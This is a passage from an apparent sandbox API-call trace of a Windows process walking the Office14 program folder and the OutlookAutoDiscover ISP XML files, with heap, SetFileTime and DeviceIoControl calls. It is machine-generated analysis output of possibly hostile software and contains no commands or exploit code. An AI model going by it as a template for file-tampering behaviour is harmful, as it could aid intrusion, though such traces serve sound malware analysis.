ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x59864770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONWordAddin.dll", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd041f000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0491420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaeb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHWIZ.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64609a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.EXE", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64d2dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x6a798, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORMELEMS.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x830db760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x11990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORMMODEL.MDL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x3d05, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0xc119, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xa160, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLACCT.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x28960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLCTL.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc37fa400, ftCreationTime.dwHighDateTime=0x1ca0b28, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc37fa400, ftLastWriteTime.dwHighDateTime=0x1ca0b28, nFileSizeHigh=0x0, nFileSizeLow=0x380000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DAT", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eeae600, ftCreationTime.dwHighDateTime=0x1ca5083, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eeae600, ftLastWriteTime.dwHighDateTime=0x1ca5083, nFileSizeHigh=0x0, nFileSizeLow=0xab940, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x599bb3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xaff88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLMIME.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x175ed60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d147f00, ftCreationTime.dwHighDateTime=0x1cac9af, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d147f00, ftLastWriteTime.dwHighDateTime=0x1cac9af, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE.MANIFEST", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookAutoDiscover", cAlternateFileName="")) returned 1 [0079.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.231] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.232] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.232] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.232] NtClose (Handle=0x174) returned 0x0 [0079.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0079.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de7a0 [0079.233] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0079.235] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.236] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="")) returned 1 [0079.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de8a8 [0079.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9b00 [0079.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de9b0 [0079.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.237] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTINTERNET.NET.XML", cAlternateFileName="")) returned 1 [0079.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9b20 [0079.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11deab8 [0079.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.238] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x51b201b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTOPENWORLD.COM.XML", cAlternateFileName="")) returned 1 [0079.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9b40 [0079.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11debc0 [0079.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.239] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x52837ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLASH.NET.XML", cAlternateFileName="")) returned 1 [0079.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9b60 [0079.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11decc8 [0079.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.240] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL.ROGERS.COM.XML", cAlternateFileName="")) returned 1 [0079.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9b80 [0079.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dedd0 [0079.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.241] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NVBELL.NET.XML", cAlternateFileName="")) returned 1 [0079.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9ba0 [0079.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11deed8 [0079.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.242] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PACBELL.NET.XML", cAlternateFileName="")) returned 1 [0079.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9bc0 [0079.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11defe0 [0079.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.243] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRODIGY.NET.XML", cAlternateFileName="")) returned 1 [0079.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9be0 [0079.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11df0e8 [0079.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.244] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROGERS.COM.XML", cAlternateFileName="")) returned 1 [0079.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9c00 [0079.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11df1f0 [0079.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.245] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="SBCGLOBAL.NET.XML", cAlternateFileName="")) returned 1 [0079.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9c20 [0079.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11df2f8 [0079.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.246] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNET.NET.XML", cAlternateFileName="")) returned 1 [0079.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.246] RtlAllocateHeap 